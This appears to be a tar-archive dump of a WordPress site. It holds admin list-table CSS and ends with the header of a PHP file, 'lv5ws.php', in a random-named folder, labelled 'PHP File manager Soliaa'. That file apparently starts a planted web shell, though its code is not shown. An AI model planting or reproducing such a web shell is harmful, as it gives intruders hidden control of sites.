.sorting-indicator:before { font: normal 20px/1 dashicons; speak: never; display: inline-block; padding: 0; top: -4px; right: -8px; line-height: 0.5; position: relative; vertical-align: top; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; text-decoration: none !important; color: #a7aaad; } .sorting-indicator.asc:before { content: "\f142"; } .sorting-indicator.desc:before { content: "\f140"; } th.sorted.desc .sorting-indicator.desc:before { color: #1d2327; } th.sorted.asc .sorting-indicator.asc:before { color: #1d2327; } th.sorted.asc a:focus .sorting-indicator.asc:before, th.sorted.asc:hover .sorting-indicator.asc:before, th.sorted.desc a:focus .sorting-indicator.desc:before, th.sorted.desc:hover .sorting-indicator.desc:before { color: #a7aaad; } th.sorted.asc a:focus .sorting-indicator.desc:before, th.sorted.asc:hover .sorting-indicator.desc:before, th.sorted.desc a:focus .sorting-indicator.asc:before, th.sorted.desc:hover .sorting-indicator.asc:before { color: #1d2327; } .wp-list-table .toggle-row { position: absolute; left: 8px; top: 10px; display: none; padding: 0; width: 40px; height: 40px; border: none; outline: none; background: transparent; } .wp-list-table .toggle-row:hover { cursor: pointer; } .wp-list-table .toggle-row:focus:before { box-shadow: 0 0 0 2px #2271b1; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .wp-list-table .toggle-row:active { box-shadow: none; } .wp-list-table .toggle-row:before { position: absolute; top: -5px; right: 10px; border-radius: 50%; display: block; padding: 1px 0 1px 2px; color: #3c434a; /* same as table headers sort arrows */ content: "\f140"; font: normal 20px/1 dashicons; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; speak: never; } .wp-list-table .is-expanded .toggle-row:before { content: "\f142"; } .check-column { position: relative; } .check-column label { box-sizing: border-box; width: 100%; height: 100%; display: block; position: absolute; top: 0; right: 0; } .check-column input { position: relative; z-index: 1; } .check-column .label-covers-full-cell:hover + input:not(:disabled) { box-shadow: 0 0 0 1px #2271b1; } .check-column label:hover, .check-column input:hover + label { background: rgba(0, 0, 0, 0.05); } .locked-indicator { display: none; margin-right: 6px; height: 20px; width: 16px; } .locked-indicator-icon:before { color: #8c8f94; content: "\f160"; display: inline-block; font: normal 20px/1 dashicons; speak: never; vertical-align: middle; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .locked-info { display: none; margin-top: 4px; } .locked-text { vertical-align: top; } .wp-locked .locked-indicator, .wp-locked .locked-info { display: block; } tr.wp-locked .check-column label, tr.wp-locked .check-column input[type="checkbox"], tr.wp-locked .row-actions .inline, tr.wp-locked .row-actions .trash { display: none; } #menu-locations-wrap .widefat { width: 60%; } .widefat th.sortable, .widefat th.sorted { padding: 0; } th.sortable a, th.sorted a { display: block; overflow: hidden; padding: 8px; } th.sortable a:focus, th.sorted a:focus { box-shadow: inset 0 0 0 2px #2271b1; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } th.sortable a span, th.sorted a span { float: right; cursor: pointer; } .tablenav-pages .current-page { margin: 0 0 0 2px; font-size: 13px; text-align: center; } .tablenav .total-pages { margin-left: 2px; } .tablenav #table-paging { margin-right: 2px; } .tablenav { clear: both; height: 30px; margin: 6px 0 4px; padding-top: 5px; vertical-align: middle; } .tablenav.themes { max-width: 98%; } .tablenav .tablenav-pages { float: left; margin: 0 0 9px; } .tablenav .no-pages, .tablenav .one-page .pagination-links { display: none; } .tablenav .tablenav-pages .button, .tablenav .tablenav-pages .tablenav-pages-navspan { display: inline-block; vertical-align: baseline; min-width: 30px; min-height: 30px; margin: 0; padding: 0 4px; font-size: 16px; line-height: 1.625; /* 26px */ text-align: center; } .tablenav .displaying-num { margin-left: 7px; } .tablenav .one-page .displaying-num { display: inline-block; margin: 5px 0; } .tablenav .actions { padding: 0 0 0 8px; } .wp-filter .actions { display: inline-block; vertical-align: middle; } .tablenav .delete { margin-left: 20px; } /* This view-switcher is still used on multisite. */ .tablenav .view-switch { float: left; margin: 0 5px; padding-top: 3px; } .wp-filter .view-switch { display: inline-block; vertical-align: middle; padding: 12px 0; margin: 0 2px 0 8px; } .media-toolbar.wp-filter .view-switch { margin: 0 2px 0 12px; } .view-switch a { float: right; width: 28px; height: 28px; text-align: center; line-height: 1.84615384; text-decoration: none; } .view-switch a:before { color: #c3c4c7; display: inline-block; font: normal 20px/1 dashicons; speak: never; vertical-align: middle; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .view-switch a:hover:before, .view-switch a:focus:before { color: #787c82; } .view-switch a.current:before { color: #2271b1; } .view-switch .view-list:before { content: "\f163"; } .view-switch .view-excerpt:before { content: "\f164"; } .view-switch .view-grid:before { content: "\f509"; } .filter { float: right; margin: -5px 10px 0 0; } .filter .subsubsub { margin-right: -10px; margin-top: 13px; } .screen-per-page { width: 4em; } #posts-filter .wp-filter { margin-bottom: 0; } #posts-filter fieldset { float: right; margin: 0 0 1em 1.5ex; padding: 0; } #posts-filter fieldset legend { padding: 0 1px .2em 0; } p.pagenav { margin: 0; display: inline; } .pagenav span { font-weight: 600; margin: 0 6px; } .row-title { font-size: 14px !important; font-weight: 600; } .column-comment .comment-author { margin-bottom: 0.6em; } .column-author img, .column-username img, .column-comment .comment-author img { float: right; margin-left: 10px; margin-top: 1px; } .row-actions { color: #a7aaad; font-size: 13px; padding: 2px 0 0; position: relative; right: -9999em; } /* ticket #34150 */ .rtl .row-actions a { display: inline-block; } .row-actions .network_only, .row-actions .network_active { color: #000; } .no-js .row-actions, tr:hover .row-actions, .mobile .row-actions, .row-actions.visible, .comment-item:hover .row-actions { position: static; } /* deprecated */ .row-actions-visible { padding: 2px 0 0; } /*------------------------------------------------------------------------------ 10.1 - Inline Editing ------------------------------------------------------------------------------*/ /* .quick-edit* is for Quick Edit .bulk-edit* is for Bulk Edit .inline-edit* is for everything */ /* Layout */ #wpbody-content .inline-edit-row fieldset { float: right; margin: 0; padding: 0 0 0 12px; width: 100%; box-sizing: border-box; } #wpbody-content .inline-edit-row td fieldset:last-of-type { padding-left: 0; } tr.inline-edit-row td { padding: 0; /* Prevents the focus style on .inline-edit-wrapper from being cutted-off */ position: relative; } .inline-edit-wrapper { display: flow-root; padding: 0 12px; border: 1px solid transparent; border-radius: 4px; } .inline-edit-wrapper:focus { border-color: #2271b1; box-shadow: 0 0 0 1px #2271b1; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } #wpbody-content .quick-edit-row-post .inline-edit-col-left { width: 40%; } #wpbody-content .quick-edit-row-post .inline-edit-col-right { width: 39%; } #wpbody-content .inline-edit-row-post .inline-edit-col-center { width: 20%; } #wpbody-content .quick-edit-row-page .inline-edit-col-left { width: 50%; } #wpbody-content .quick-edit-row-page .inline-edit-col-right, #wpbody-content .bulk-edit-row-post .inline-edit-col-right { width: 50%; } #wpbody-content .bulk-edit-row .inline-edit-col-left { width: 30%; } #wpbody-content .bulk-edit-row-page .inline-edit-col-right { width: 69%; } #wpbody-content .bulk-edit-row .inline-edit-col-bottom { float: left; width: 69%; } #wpbody-content .inline-edit-row-page .inline-edit-col-right { margin-top: 27px; } .inline-edit-row fieldset .inline-edit-group { clear: both; line-height: 2.5; } .inline-edit-row .submit { display: flex; flex-wrap: wrap; align-items: center; clear: both; margin: 0; padding: 0.5em 0 1em; } .inline-edit-save.submit .button { margin-left: 8px; } .inline-edit-save .spinner { float: none; margin: 0; } .inline-edit-row .notice-error { box-sizing: border-box; min-width: 100%; margin-top: 1em; } .inline-edit-row .notice-error .error { margin: 0.5em 0; padding: 2px; } /* Positioning */ /* Needs higher specificity for the padding */ #the-list .inline-edit-row .inline-edit-legend { margin: 0; padding: 0.2em 0; line-height: 2.5; font-weight: 600; } .inline-edit-row fieldset span.title, .inline-edit-row fieldset span.checkbox-title { margin: 0; padding: 0; } .inline-edit-row fieldset label, .inline-edit-row fieldset span.inline-edit-categories-label { display: block; margin: .2em 0; line-height: 2.5; } .inline-edit-row fieldset.inline-edit-date label { display: inline-block; margin: 0; vertical-align: baseline; line-height: 2; } .inline-edit-row fieldset label.inline-edit-tags { margin-top: 0; } .inline-edit-row fieldset label.inline-edit-tags span.title { margin: .2em 0; width: auto; } .inline-edit-row fieldset label span.title, .inline-edit-row fieldset.inline-edit-date legend { display: block; float: right; width: 6em; line-height: 2.5; } #posts-filter fieldset.inline-edit-date legend { padding: 0; } .inline-edit-row fieldset label span.input-text-wrap, .inline-edit-row fieldset .timestamp-wrap { display: block; margin-right: 6em; } .quick-edit-row-post fieldset.inline-edit-col-right label span.title { width: auto; padding-left: 0.5em; } .inline-edit-row .inline-edit-or { margin: .2em 0 .2em 6px; line-height: 2.5; } .inline-edit-row .input-text-wrap input[type=text] { width: 100%; } .inline-edit-row fieldset label input[type=checkbox] { vertical-align: middle; } .inline-edit-row fieldset label textarea { width: 100%; height: 4em; vertical-align: top; } #wpbody-content .bulk-edit-row fieldset .inline-edit-group label { max-width: 50%; } #wpbody-content .quick-edit-row fieldset .inline-edit-group label.alignleft:first-child { margin-left: 0.5em } .inline-edit-col-right .input-text-wrap input.inline-edit-menu-order-input { width: 6em; } /* Styling */ .inline-edit-row .inline-edit-legend { text-transform: uppercase; } /* Specific Elements */ .inline-edit-row fieldset .inline-edit-date { float: right; } .inline-edit-row fieldset input[name=jj], .inline-edit-row fieldset input[name=hh], .inline-edit-row fieldset input[name=mn], .inline-edit-row fieldset input[name=aa] { vertical-align: middle; text-align: center; padding: 0 4px; } .inline-edit-row fieldset label input.inline-edit-password-input { width: 8em; } #bulk-titles-list, #bulk-titles-list li, .inline-edit-row fieldset ul.cat-checklist li, .inline-edit-row fieldset ul.cat-checklist input { margin: 0; position: relative; /* RTL fix, #WP27629 */ } .inline-edit-row fieldset ul.cat-checklist input { margin-top: -1px; margin-right: 3px; } .inline-edit-row fieldset label input.inline-edit-menu-order-input { width: 3em; } .inline-edit-row fieldset label input.inline-edit-slug-input { width: 75%; } .inline-edit-row #post_parent, .inline-edit-row select[name="page_template"] { max-width: 80%; } .quick-edit-row-post fieldset label.inline-edit-status { float: right; } #bulk-titles, ul.cat-checklist { height: 14em; border: 1px solid #ddd; margin: 0 0 5px; padding: 0.2em 5px; overflow-y: scroll; } ul.cat-checklist input[name="post_category[]"]:indeterminate::before { content: ''; border-top: 2px solid grey; width: 65%; height: 2px; position: absolute; top: calc( 50% + 1px ); right: 50%; transform: translate( 50%, -50% ); } #bulk-titles .ntdelbutton, #bulk-titles .ntdeltitle, .inline-edit-row fieldset ul.cat-checklist label { display: inline-block; margin: 0; padding: 3px 0; line-height: 20px; vertical-align: top; } #bulk-titles .ntdelitem { padding-right: 23px; } #bulk-titles .ntdelbutton { width: 26px; height: 26px; margin: 0 -26px 0 0; text-align: center; border-radius: 3px; } #bulk-titles .ntdelbutton:before { display: inline-block; vertical-align: top; } #bulk-titles .ntdelbutton:focus { box-shadow: 0 0 0 2px #3582c4; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; /* Reset inherited offset from Gutenberg */ outline-offset: 0; } /*------------------------------------------------------------------------------ 17.0 - Plugins ------------------------------------------------------------------------------*/ .plugins tbody th.check-column, .plugins tbody { padding: 8px 2px 0 0; } .plugins tbody th.check-column input[type=checkbox] { margin-top: 4px; } .updates-table .plugin-title p { margin-top: 0; } .plugins thead td.check-column, .plugins tfoot td.check-column, .plugins .inactive th.check-column { padding-right: 6px; } .plugins, .plugins th, .plugins td { color: #000; } .plugins tr { background: #fff; } .plugins p { margin: 0 4px; padding: 0; } .plugins .desc p { margin: 0 0 8px; } .plugins td.desc { line-height: 1.5; } .plugins .desc ul, .plugins .desc ol { margin: 0 2em 0 0; } .plugins .desc ul { list-style-type: disc; } .plugins .row-actions { font-size: 13px; padding: 0; } .plugins .inactive td, .plugins .inactive th, .plugins .active td, .plugins .active th { padding: 10px 9px; } .plugins .active td, .plugins .active th { background-color: #f0f6fc; } .plugins .update th, .plugins .update td { border-bottom: 0; } .plugins .inactive td, .plugins .inactive th, .plugins .active td, .plugins .active th, .plugin-install #the-list td, .upgrade .plugins td, .upgrade .plugins th { box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1); } .plugins tr.active.plugin-update-tr + tr.inactive th, .plugins tr.active.plugin-update-tr + tr.inactive td, .plugins tr.active + tr.inactive th, .plugins tr.active + tr.inactive td { border-top: 1px solid rgba(0, 0, 0, 0.03); box-shadow: inset 0 1px 0 rgba(0, 0, 0, 0.02), inset 0 -1px 0 #dcdcde; } .plugins .update td, .plugins .update th, .upgrade .plugins tr:last-of-type td, .upgrade .plugins tr:last-of-type th, .plugins tr.active + tr.inactive.update th, .plugins tr.active + tr.inactive.update td, .plugins .updated td, .plugins .updated th, .plugins tr.active + tr.inactive.updated th, .plugins tr.active + tr.inactive.updated td { box-shadow: none; } .plugins .active th.check-column, .plugin-update-tr.active td { border-right: 4px solid #72aee6; } .wp-list-table.plugins .plugin-title, .wp-list-table.plugins .theme-title { padding-left: 12px; white-space: nowrap; } .plugins .plugin-title img, .plugins .plugin-title .dashicons { float: right; padding: 0 0 0 10px; width: 64px; height: 64px; } .plugins .plugin-title .dashicons:before { padding: 2px; background-color: #f0f0f1; box-shadow: inset 0 0 10px rgba(167, 170, 173, 0.15); font-size: 60px; color: #c3c4c7; } #update-themes-table .plugin-title img, #update-themes-table .plugin-title .dashicons { width: 85px; } .plugins .column-auto-updates { width: 14.2em; } .plugins .inactive .plugin-title strong { font-weight: 400; } .plugins .second, .plugins .row-actions { padding: 0 0 5px; } .plugins .row-actions { white-space: normal; min-width: 12em; } .plugins .update .second, .plugins .update .row-actions, .plugins .updated .second, .plugins .updated .row-actions { padding-bottom: 0; } .plugins-php .widefat tfoot th, .plugins-php .widefat tfoot td { border-top-style: solid; border-top-width: 1px; } .plugins .plugin-update-tr .plugin-update { box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1); overflow: hidden; /* clearfix */ padding: 0; } .plugins .plugin-update-tr .notice, .plugins .plugin-update-tr div[class="update-message"] { /* back-compat for pre-4.6 */ margin: 5px 40px 15px 20px; } .plugins .notice p { margin: 0.5em 0; } .plugins .plugin-description a, .plugins .plugin-update a, .updates-table .plugin-title a { text-decoration: underline; } .plugins tr.paused th.check-column { border-right: 4px solid #b32d2e; } .plugins tr.paused th, .plugins tr.paused td { background-color: #f6f7f7; } .plugins tr.paused .plugin-title, .plugins .paused .dashicons-warning { color: #b32d2e; } .plugins .paused .error-display p, .plugins .paused .error-display code { font-size: 90%; color: rgba(0, 0, 0, 0.7); } .plugins .resume-link { color: #b32d2e; } .plugin-card .update-now:before { color: #d63638; content: "\f463"; display: inline-block; font: normal 20px/1 dashicons; margin: -3px -2px 0 5px; speak: never; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; vertical-align: middle; } .plugin-card .updating-message:before { content: "\f463"; animation: rotation 2s infinite linear; } @keyframes rotation { 0% { transform: rotate(0deg); } 100% { transform: rotate(-359deg); } } .plugin-card .updated-message:before { color: #68de7c; content: "\f147"; } .plugin-install-php #the-list { display: flex; flex-wrap: wrap; } .plugin-install-php .plugin-card { display: flex; flex-direction: column; justify-content: space-between; } .plugin-install-php h2 { clear: both; } .plugin-install-php h3 { margin: 2.5em 0 8px; } .plugin-install-php .wp-filter { margin-bottom: 0; } /* Plugin card table view */ .plugin-group { overflow: hidden; /* clearfix */ margin-top: 1.5em; } .plugin-group h3 { margin-top: 0; } .plugin-card { float: right; margin: 0 8px 16px; width: 48.5%; width: calc( 50% - 8px ); background-color: #fff; border: 1px solid #dcdcde; box-sizing: border-box; } .plugin-card:nth-child(odd) { clear: both; margin-right: 0; } .plugin-card:nth-child(even) { margin-left: 0; } @media screen and (min-width: 1600px) and ( max-width: 2299px ) { .plugin-card { width: 30%; width: calc( 33.1% - 8px ); } .plugin-card:nth-child(odd) { clear: none; margin-right: 8px; } .plugin-card:nth-child(even) { margin-left: 8px; } .plugin-card:nth-child(3n+1) { clear: both; margin-right: 0; } .plugin-card:nth-child(3n) { margin-left: 0; } } @media screen and (min-width: 2300px) { .plugin-card { width: 25%; width: calc( 25% - 12px ); } .plugin-card:nth-child(odd) { clear: none; margin-right: 8px; } .plugin-card:nth-child(even) { margin-left: 8px; } .plugin-card:nth-child(4n+1) { clear: both; margin-right: 0; } .plugin-card:nth-child(4n) { margin-left: 0; } } .plugin-card-top { position: relative; padding: 20px 20px 10px; min-height: 135px; } div.action-links, .plugin-action-buttons { margin: 0; /* Override existing margins */ } .plugin-card h3 { margin: 0 0 12px 12px; font-size: 18px; line-height: 1.3; } .plugin-card .desc { margin-inline: 0; } .plugin-card .name, .plugin-card .desc > p { margin-right: 148px; } @media (min-width: 1101px) { .plugin-card .name, .plugin-card .desc > p { margin-left: 128px; } } @media (min-width: 481px) and (max-width: 781px) { .plugin-card .name, .plugin-card .desc > p { margin-left: 128px; } } .plugin-card .column-description { display: flex; flex-direction: column; justify-content: flex-start; } .plugin-card .column-description > p { margin-top: 0; } .plugin-card .column-description p:empty { display: none; } .plugin-card .notice.plugin-dependencies { margin: auto 20px 20px; padding: 15px; } .plugin-card .plugin-dependencies-explainer-text { margin-block: 0; } .plugin-card .plugin-dependency { align-items: center; display: flex; flex-wrap: wrap; margin-top: .5em; column-gap: 1%; row-gap: .5em; } .plugin-card .plugin-dependency:nth-child(2), .plugin-card .plugin-dependency:last-child { margin-top: 1em; } .plugin-card .plugin-dependency-name { flex-basis: 74%; } .plugin-card .plugin-dependency .more-details-link { margin-right: auto; } .rtl .plugin-card .plugin-dependency .more-details-link { margin-left: auto; } @media (max-width: 939px) { .plugin-card .plugin-dependency-name { flex-basis: 69%; } } .plugins #the-list .required-by, .plugins #the-list .requires { margin-top: 1em; } .plugin-card .action-links { position: absolute; top: 20px; left: 20px; width: 120px; } .plugin-action-buttons { clear: left; float: left; margin-bottom: 1em; text-align: left; } .plugin-action-buttons li { margin-bottom: 10px; } .plugin-card-bottom { clear: both; padding: 12px 20px; background-color: #f6f7f7; border-top: 1px solid #dcdcde; overflow: hidden; } .plugin-card-bottom .star-rating { display: inline; } .plugin-card-update-failed .update-now { font-weight: 600; } .plugin-card-update-failed .notice-error { margin: 0; padding-right: 16px; box-shadow: 0 -1px 0 #dcdcde; } .plugin-card-update-failed .plugin-card-bottom { display: none; } .plugin-card .column-rating { line-height: 1.76923076; } .plugin-card .column-rating, .plugin-card .column-updated { margin-bottom: 4px; } .plugin-card .column-rating, .plugin-card .column-downloaded { float: right; clear: right; max-width: 180px; } .plugin-card .column-updated, .plugin-card .column-compatibility { text-align: left; float: left; clear: left; width: 65%; width: calc( 100% - 180px ); } .plugin-card .column-compatibility span:before { font: normal 20px/.5 dashicons; speak: never; display: inline-block; padding: 0; top: 4px; right: -2px; position: relative; vertical-align: top; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; text-decoration: none !important; color: #3c434a; } .plugin-card .column-compatibility .compatibility-incompatible:before { content: "\f158"; color: #d63638; } .plugin-card .column-compatibility .compatibility-compatible:before { content: "\f147"; color: #007017; } .plugin-card .notice { margin: 20px 20px 0; } .plugin-icon { position: absolute; top: 20px; right: 20px; width: 128px; height: 128px; margin: 0 0 20px 20px; } .no-plugin-results { color: #646970; /* same as no themes and no media */ font-size: 18px; font-style: normal; margin: 0; padding: 100px 0 0; width: 100%; text-align: center; } /* ms */ /* Background Color for Site Status */ .wp-list-table .site-deleted, .wp-list-table tr.site-deleted, .wp-list-table .site-archived, .wp-list-table tr.site-archived { background: #fcf0f1; } .wp-list-table .site-spammed, .wp-list-table tr.site-spammed, .wp-list-table .site-mature, .wp-list-table tr.site-mature { background: #fcf9e8; } .sites.fixed .column-lastupdated, .sites.fixed .column-registered { width: 20%; } .sites.fixed .column-users { width: 80px; } /* =Media Queries -------------------------------------------------------------- */ @media screen and (max-width: 1100px) and (min-width: 782px), (max-width: 480px) { .plugin-card .action-links { position: static; margin-right: 148px; width: auto; } .plugin-action-buttons { float: none; margin: 1em 0 0; text-align: right; } .plugin-action-buttons li { display: inline-block; vertical-align: middle; } .plugin-action-buttons li .button { margin-left: 20px; } .plugin-card h3 { margin-left: 24px; } .plugin-card .name, .plugin-card .desc { margin-left: 0; } .plugin-card .desc p:first-of-type { margin-top: 0; } } @media screen and (max-width: 782px) { /* WP List Table Options & Filters */ .tablenav { height: auto; } .tablenav.top { margin: 20px 0 5px; } .tablenav.bottom { position: relative; margin-top: 15px; } .tablenav br { display: none; } .tablenav br.clear { display: block; } .tablenav.top .actions, .tablenav .view-switch { display: none; } .view-switch a { width: 36px; height: 36px; line-height: 2.53846153; } /* Pagination */ .tablenav.top .displaying-num { display: none; } .tablenav.bottom .displaying-num { position: absolute; left: 0; top: 11px; margin: 0; font-size: 14px; } .tablenav .tablenav-pages { width: 100%; text-align: center; margin: 0 0 25px; } .tablenav.bottom .tablenav-pages { margin-top: 25px; } .tablenav.top .tablenav-pages.one-page { display: none; } .tablenav.bottom .actions select { margin-bottom: 5px; } .tablenav.bottom .actions.alignleft + .actions.alignleft { clear: right; margin-top: 10px; } .tablenav.bottom .tablenav-pages.one-page { margin-top: 15px; height: 0; } .tablenav-pages .pagination-links { font-size: 16px; } .tablenav .tablenav-pages .button, .tablenav .tablenav-pages .tablenav-pages-navspan { min-width: 44px; padding: 12px 8px; font-size: 18px; line-height: 1; } .tablenav-pages .pagination-links .current-page { min-width: 44px; padding: 12px 6px; font-size: 16px; line-height: 1.125; } /* WP List Table Adjustments: General */ .form-wrap > p { display: none; } .wp-list-table th.column-primary ~ th, .wp-list-table tr:not(.inline-edit-row):not(.no-items) td.column-primary ~ td:not(.check-column) { display: none; } .wp-list-table thead th.column-primary { width: 100%; } /* Checkboxes need to show */ .wp-list-table tr th.check-column { display: table-cell; } .wp-list-table .check-column { width: 2.5em; } .wp-list-table .column-primary .toggle-row { display: block; } .wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.check-column) { position: relative; clear: both; width: auto !important; /* needs to override some columns that are more specifically targeted */ } .wp-list-table td.column-primary { padding-left: 50px; /* space for toggle button */ } .wp-list-table tr:not(.inline-edit-row):not(.no-items) td.column-primary ~ td:not(.check-column) { padding: 3px 35% 3px 8px; } .wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.column-primary)::before { position: absolute; right: 10px; /* match padding of regular table cell */ display: block; overflow: hidden; width: 32%; /* leave a little space for a gutter */ content: attr(data-colname); white-space: nowrap; text-overflow: ellipsis; } .wp-list-table .is-expanded td:not(.hidden) { display: block !important; overflow: hidden; /* clearfix */ } /* Special cases */ .widefat .num, .column-posts { text-align: right; } #comments-form .fixed .column-author, #commentsdiv .fixed .column-author { display: none !important; } .fixed .column-comment .comment-author { display: block; } /* Comment author hidden via Screen Options */ .fixed .column-author.hidden ~ .column-comment .comment-author { display: none; } #the-comment-list .is-expanded td { box-shadow: none; } #the-comment-list .is-expanded td:last-child { box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1); } /* Show comment bubble as text instead */ .post-com-count .screen-reader-text { position: static; -webkit-clip-path: none; clip-path: none; width: auto; height: auto; margin: 0; } .column-response .post-com-count-no-comments:after, .column-response .post-com-count-approved:after, .column-comments .post-com-count-no-comments:after, .column-comments .post-com-count-approved:after { content: none; } .column-response .post-com-count [aria-hidden="true"], .column-comments .post-com-count [aria-hidden="true"] { display: none; } .column-response .post-com-count-wrapper, .column-comments .post-com-count-wrapper { white-space: normal; } .column-response .post-com-count-wrapper > a, .column-comments .post-com-count-wrapper > a { display: block; } .column-response .post-com-count-no-comments, .column-response .post-com-count-approved, .column-comments .post-com-count-no-comments, .column-comments .post-com-count-approved { margin-top: 0; margin-left: 0.5em; } .column-response .post-com-count-pending, .column-comments .post-com-count-pending { position: static; height: auto; min-width: 0; padding: 0; border: none; border-radius: 0; background: none; color: #b32d2e; font-size: inherit; line-height: inherit; text-align: right; } .column-response .post-com-count-pending:hover, .column-comments .post-com-count-pending:hover { color: #d63638; } .widefat thead td.check-column, .widefat tfoot td.check-column { padding-top: 10px; } .row-actions { margin-right: -8px; margin-left: -8px; padding-top: 4px; } /* Make row actions more easy to select on mobile */ body:not(.plugins-php) .row-actions { display: flex; flex-wrap: wrap; gap: 8px; color: transparent; } .row-actions span a, .row-actions span .button-link { display: inline-block; padding: 4px 8px; line-height: 1.5; } .row-actions span.approve:before, .row-actions span.unapprove:before { content: "| "; } /* Quick Edit and Bulk Edit */ #wpbody-content .quick-edit-row-post .inline-edit-col-left, #wpbody-content .quick-edit-row-post .inline-edit-col-right, #wpbody-content .inline-edit-row-post .inline-edit-col-center, #wpbody-content .quick-edit-row-page .inline-edit-col-left, #wpbody-content .quick-edit-row-page .inline-edit-col-right, #wpbody-content .bulk-edit-row-post .inline-edit-col-right, #wpbody-content .bulk-edit-row .inline-edit-col-left, #wpbody-content .bulk-edit-row-page .inline-edit-col-right, #wpbody-content .bulk-edit-row .inline-edit-col-bottom { float: none; width: 100%; padding: 0; } #the-list .inline-edit-row .inline-edit-legend, .inline-edit-row span.title { font-size: 16px; } .inline-edit-row p.howto { font-size: 14px; } #wpbody-content .inline-edit-row-page .inline-edit-col-right { margin-top: 0; } #wpbody-content .quick-edit-row fieldset .inline-edit-col label, #wpbody-content .quick-edit-row fieldset .inline-edit-group label, #wpbody-content .bulk-edit-row fieldset .inline-edit-col label, #wpbody-content .bulk-edit-row fieldset .inline-edit-group label { max-width: none; float: none; margin-bottom: 5px; } #wpbody .bulk-edit-row fieldset select { display: block; width: 100%; max-width: none; box-sizing: border-box; } .inline-edit-row fieldset input[name=jj], .inline-edit-row fieldset input[name=hh], .inline-edit-row fieldset input[name=mn], .inline-edit-row fieldset input[name=aa] { font-size: 16px; line-height: 2; padding: 3px 4px; } #bulk-titles .ntdelbutton, #bulk-titles .ntdeltitle, .inline-edit-row fieldset ul.cat-checklist label { padding: 6px 0; font-size: 16px; line-height: 28px; } #bulk-titles .ntdelitem { padding-right: 37px; } #bulk-titles .ntdelbutton { width: 40px; height: 40px; margin: 0 -40px 0 0; overflow: hidden; } #bulk-titles .ntdelbutton:before { font-size: 20px; line-height: 28px; } .inline-edit-row fieldset label span.title, .inline-edit-row fieldset.inline-edit-date legend { float: none; } .inline-edit-row fieldset .inline-edit-col label.inline-edit-tags { padding: 0; } .inline-edit-row fieldset label span.input-text-wrap, .inline-edit-row fieldset .timestamp-wrap { margin-right: 0; } .inline-edit-row .inline-edit-or { margin: 0 0 0 6px; } #edithead .inside, #commentsdiv #edithead .inside { float: none; text-align: right; padding: 3px 5px; } #commentsdiv #edithead .inside input, #edithead .inside input { width: 100%; } #edithead label { display: block; } /* Updates */ #wpbody-content .updates-table .plugin-title { width: auto; white-space: normal; } /* Links */ .link-manager-php #posts-filter { margin-top: 25px; } .link-manager-php .tablenav.bottom { overflow: hidden; } /* List tables that don't toggle rows */ .comments-box .toggle-row, .wp-list-table.plugins .toggle-row { display: none; } /* Plugin/Theme Management */ #wpbody-content .wp-list-table.plugins td { display: block; width: auto; padding: 10px 9px; /* reset from other list tables that have a label at this width */ } #wpbody-content .wp-list-table.plugins .plugin-deleted-tr td, #wpbody-content .wp-list-table.plugins .no-items td { display: table-cell; } /* Plugin description hidden via Screen Options */ #wpbody-content .wp-list-table.plugins .desc.hidden { display: none; } #wpbody-content .wp-list-table.plugins .column-description { padding-top: 2px; } #wpbody-content .wp-list-table.plugins .plugin-title, #wpbody-content .wp-list-table.plugins .theme-title { padding-left: 12px; white-space: normal; } .wp-list-table.plugins .plugin-title, .wp-list-table.plugins .theme-title { padding-top: 13px; padding-bottom: 4px; } .plugins #the-list tr > td:not(:last-child), .plugins #the-list .update th, .plugins #the-list .update td, .wp-list-table.plugins #the-list .theme-title { box-shadow: none; border-top: none; } .plugins #the-list tr td { border-top: none; } .plugins tbody { padding: 1px 0 0; } .plugins tr.active + tr.inactive th.check-column, .plugins tr.active + tr.inactive td.column-description, .plugins .plugin-update-tr:before { box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1); } .plugins tr.active + tr.inactive th.check-column, .plugins tr.active + tr.inactive td { border-top: none; } /* mimic the checkbox th */ .plugins .plugin-update-tr:before { content: ""; display: table-cell; } .plugins #the-list .plugin-update-tr .plugin-update { border-right: none; } .plugin-update-tr .update-message { margin-right: 0; } .plugins .active.update + .plugin-update-tr:before, .plugins .active.updated + .plugin-update-tr:before { background-color: #f0f6fc; border-right: 4px solid #72aee6; } .plugins .plugin-update-tr .update-message { margin-right: 0; } .wp-list-table.plugins .plugin-title strong, .wp-list-table.plugins .theme-title strong { font-size: 1.4em; line-height: 1.5; } .plugins tbody th.check-column { padding: 8px 5px 0 0; } .plugins thead td.check-column, .plugins tfoot td.check-column, .plugins .inactive th.check-column { padding-right: 9px; } /* Add New plugins page */ table.plugin-install .column-name, table.plugin-install .column-version, table.plugin-install .column-rating, table.plugin-install .column-description { display: block; width: auto; } table.plugin-install th.column-name, table.plugin-install th.column-version, table.plugin-install th.column-rating, table.plugin-install th.column-description { display: none; } table.plugin-install td.column-name strong { font-size: 1.4em; line-height: 1.6em; } table.plugin-install #the-list td { box-shadow: none; } table.plugin-install #the-list tr { display: block; box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1); } .plugin-card { margin-right: 0; margin-left: 0; width: 100%; } table.media .column-title .has-media-icon ~ .row-actions { margin-right: 0; clear: both; } } @media screen and (max-width: 480px) { .tablenav-pages .current-page { margin: 0; } .tablenav.bottom .displaying-num { position: relative; top: 0; display: block; text-align: left; padding-bottom: 0.5em; } .tablenav.bottom .tablenav-pages.one-page { height: auto; } .tablenav-pages .tablenav-paging-text { float: right; width: 100%; padding-top: 0.5em; } } mz3wo1/lv5ws.php 0000644 00000313555 15136723772 0007526 0 ustar 00 <?php /* PHP File manager Soliaa Version 4.8 */ // File creation was successful and is now ready for use 